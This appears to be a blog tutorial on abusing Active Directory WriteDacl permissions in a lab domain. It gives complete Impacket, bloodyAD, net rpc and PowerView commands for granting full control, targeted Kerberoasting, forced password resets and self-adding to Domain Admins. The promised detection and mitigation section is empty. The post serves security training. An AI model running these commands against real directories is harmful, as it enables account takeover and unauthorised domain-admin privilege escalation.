Abusing AD-DACL: WriteDacl

In this post, we will explore the exploitation of Discretionary Access Control Lists (DACL) using the WriteDacl permission in Active Directory environments. Attackers can abuse WriteDacl permissions to gain unauthorized access or modify permissions to suit their needs.

The lab setup necessary to simulate these attacks is outlined, with methods mapped to the MITRE ATT&CK framework to clarify the associated techniques and tactics. Detection mechanisms for identifying suspicious activities linked to WriteDacl attacks are also covered, alongside actionable recommendations for mitigating these vulnerabilities. This overview equips security professionals with critical insights to recognize and defend against these prevalent threats.

Table of Contents

Abusing AD-DACL- WriteDacl

WriteDacl Permission

Prerequisites

Lab Setup – User Owns WriteDacl Permission on Another User

Exploitation Phase I – User Owns WriteDacl Permission on Another User

Bloodhound – Hunting for Weak Permission

Method for Exploitation – Granting Full Control Followed by Kerberoasting (T1558.003) or Change Password (T1110.001)

1. Linux Impacket tool – Granting Full Control
   • Linux Python Script – TargetedKerberoast
   • Linux – Change Password

Linux Net RPC – Samba

Linux Bloody AD

2. Windows PowerShell Powerview – Granting Full Control
   • Windows PowerShell Powerview – Kerberoasting
   • Windows PowerShell Powerview – Change Password

Lab Setup – User Owns WriteDacl Permission on the Domain Admin Group

Exploitation Phase II – User Owns WriteDacl Permission on a Group

Bloodhound – Hunting for Weak Permission

Method for Exploitation – Granting Full Control Followed by Account Manipulation (T1098)

1. Linux Impacket tool – Granting Full Control
   • Linux – Adding Member to the Group

Linux Net RPC – Samba

Linux Bloody AD

2. Windows PowerShell Powerview – Granting Full Control
   • Windows Net command – Adding Member to the Group

Detection & Mitigation

WriteDacl Permission

The WriteDacl permission in Active Directory allow users to modify the discretionary access control list (DACL) of an AD object, granting them the ability to control object-level permissions. The attacker can write a new ACE to the target object’s DACL (Discretionary Access Control List). This can give the attacker full control of the target object.

Instead of giving full control, the same process can be applied to allow an object to DCSync by adding two ACEs with specific Extended Rights (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All). Giving full control leads to the same thing since GenericAll includes all ExtendedRights, hence the two extended rights needed for DCSync to work.

WriteDacl permissions on a group allow granting the right to add members to that group.

WriteDacl permissions on a user allow granting full control over the user object.

WriteDacl permissions on a computer object allow granting full control over the computer object.

WriteDacl permissions on a domain object allow granting the ability to perform a DCSync operation.

Prerequisites

• Windows Server 2019 as Active Directory
• Kali Linux
• Tools: Bloodhound, Net RPC, Powerview, BloodyAD, Impacket
• Windows 10/11 – As Client

Lab Setup – User Owns WriteDacl Permission on Another User

Here, in this lab setup, we will create two users’ Aarti and Komal, where the user Komal has WriteDacl permission over the Aarti user.

Create the AD Environment and User accounts

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

• Install Windows Server (2016 or 2019 recommended).
• Promote it to a Domain Controller by adding the Active Directory Domain Services
• Set up the domain (e.g., local).

User Accounts:

• Create two AD user accounts named Aarti and Komal.

net user aarti Password@1 /add /domain
net user komal Password@1 /add /domain

Assign the “WriteDacl” Privilege:

1. Open Active Directory Users and Computers (ADUC) on the Domain Controller.
2. Enable the Advanced Features view by clicking on View > Advanced Features.
3. Locate User Aarti in the Users
4. Right-click on Aarti User and go to Properties.

     

Go to the Security tab, and click on Add button

1. In the “Enter the object name to select” box, type Komaland click Check Names and click on OK.
2. Select Komal user and in the Permissionssection, and click on Advanced

     

1. In the Advanced security settings box, double-click on Komal user’s permission entry.
2. In the Permissionssection, check the box for Modify permission
3. Apply the settings.

     

At this point, Komal now has WriteDacl permission for Aarti user.

Exploitation Phase I – User Owns WriteDacl Permission on Another User

Bloodhound – Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Komal has the WriteDacl permission for Aarti user.

bloodhound-python -u komal -p Password@1 -ns 192.168.1.3 -d ignite.local -c All

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

From the graph it can be observed that the Komal user owns WriteDacl privilege on Aarti user.

Method for Exploitation – Granting Full Control Followed by Kerberoasting (T1558.003) or Change Password (T1110.001)

This abuse can be carried out when controlling an object that has WriteDacl over another object.

Linux Impacket tool – Granting Full Control

From UNIX-like systems, this can be done with Impacket‘s dacledit.py (Python), alternatively Impacket-dacledit.

impacket-dacledit -action 'write' -rights 'FullControl' -principal 'komal' -target-dn 'CN=aarti,CN=Users,DC=ignite,DC=local' 'ignite.local'/'komal':'Password@1' -dc-ip 192.168.1.3

With the help of dacledit, the DACL for this object is successfully modified, Komal user now have full Control over Aarti user.

Now, since the user has full control over the target then it can either perform kerberoasting or can change the password without knowing target’s current password (ForceChangePassword)

Linux Python Script – TargetedKerberoast

From UNIX-like systems, this can be done with targetedKerberoast.py (Python).

./targetedKerberoast.py --dc-ip '192.168.1.3' -v -d 'ignite.local' -u 'komal' -p 'Password@1'

Further, with the help of John the Ripper end the dictionary such as Rock You can help the attacker to brute force the weak password.

Linux – Change Password

Linux Net RPC – Samba

It can be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients.

net rpc password aarti 'Password@987' -U ignite.local/komal%'Password@1' -S 192.168.1.3

 Linux Bloody AD

Alternatively, it can be achieved using bloodyAD

bloodyAD --host "192.168.1.3" -d "ignite.local" -u "komal" -p "Password@1" set password "aarti" "Password@789"

Windows PowerShell Powerview – Granting Full Control

From a Windows system, this can be achieved with Add-DomainObjectAcl (PowerView module).

powershell -ep bypass
Import-Module .PowerView.ps1
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "aarti" -PrincipalIdentity "komal"

 

With the help of Add-DomainObjectAcl, the DACL for this object is successfully modified, Komal user now have full Control over Aarti user.

Now, since the user has full control over the target then it can either perform kerberoasting or can change the password without knowing target’s current password (ForceChangePassword)

Windows PowerShell Powerview – Kerberoasting

From Windows machines, this can be achieved with Set-DomainObject and Get-DomainSPNTicket (PowerView module).

Set-DomainObject -Identity 'aarti' -Set @{serviceprincipalname='nonexistent/hacking'}
Get-DomainUser 'aarti' | Select serviceprincipalname
$User = Get-DomainUser 'aarti'
$User | Get-DomainSPNTicket

Windows PowerShell Powerview – Change Password

Linux Net RPC – Samba

The attacker can change the password of the user using PowerView module. This can be achieved with Set-DomainUserPassword cmdlet.

$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force
Set-DomainUserPassword -Identity 'aarti' -AccountPassword $NewPassword

Lab Setup – User Owns WriteDacl Permission on the Domain Admin Group

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

• Install Windows Server (2016 or 2019 recommended).
• Promote it to a Domain Controller by adding the Active Directory Domain Services
• Set up the domain (e.g., local).

User Accounts:

• Create a standard user account named Rudra.

net user rudra Password@1 /add /domain

Assign the “WriteDacl” Privilege to Rudra:

Once your AD environment is set up, you need to assign the “WriteDacl” privilege to Rudra for the Domain Admins group.

Steps:

1. Open Active Directory Users and Computers (ADUC) on the Domain Controller.
2. Enable the Advanced Features view by clicking on View > Advanced Features.
3. Locate the Domain Admins group in the Users container.
4. Right-click on Domain Admins and go to Properties.

     

Go to the Security tab, and click on Add button

     

1. In the “Enter the object name to select” box, type Rudraand click Check Names and click on OK.
2. Select Rudra user and in the Permissionssection, and click on Advanced option

     

1. In the Advanced security settings box, double-click on Rudra user’s permission entry.
2. In the Permissionssection, check the box for Modify permission
3. Apply the settings.

     

At this point, Rudra now has WriteDacl rights over the Domain Admins group, meaning they can add themselves to the group.

Exploitation Phase II – User Owns WriteDacl Permission on a Group

Bloodhound – Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Rudra has the WriteDacl permission on the Domain Admins group.

bloodhound-python -u rudra -p Password@1 -ns 192.168.1.3 -d ignite.local -c All

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

Thus, it has shown the Rudra User has WriteDacl privilege to Domain Admin group.

Method for Exploitation – Granting Full Control Followed by Account Manipulation (T1098)

Linux Impacket tool – Granting Full Control

From UNIX-like systems, this can be done with Impacket‘s dacledit.py (Python), alternatively Impacket-dacledit.

impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'rudra' -target-dn 'CN=Domain Admins,CN=Users,DC=ignite,DC=local' 'ignite.local'/'rudra':'Password@1' -dc-ip 192.168.1.3

With the help of dacledit, the DACL for this object is successfully modified, rudra user now have full Control over the group.

Linux – Adding Member to the Group

Linux Net RPC – Samba

The tester can abuse this permission by adding Rudra User into Domain Admin group and list the domain admin members to ensure that Rudra Users becomes Domain Admin.

net rpc group addmem "Domain Admins" rudra -U ignite.local/rudra%'Password@1' -S 192.168.1.3

Linux Bloody AD

Alternatively, it can be achieved using bloodyAD

bloodyAD --host "192.168.1.3" -d "ignite.local" -u "rudra" -p "Password@1" add groupMember "Domain Admins" "rudra"

Windows PowerShell Powerview – Granting Full Control

From a Windows system, this can be achieved with Add-DomainObjectAcl (PowerView module).

powershell -ep bypass
Import-Module .PowerView.ps1
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "rudra"

Windows Net command – Adding Member to the Group

This can be achieved with a native command line, using windows net command.

net group "domain admins" rudra /add /domain

thus, from user property we can see Rudra user has become the member of domain admin.

Detection & Mitigation

The post Abusing AD-DACL: WriteDacl appeared first on Hacking Articles.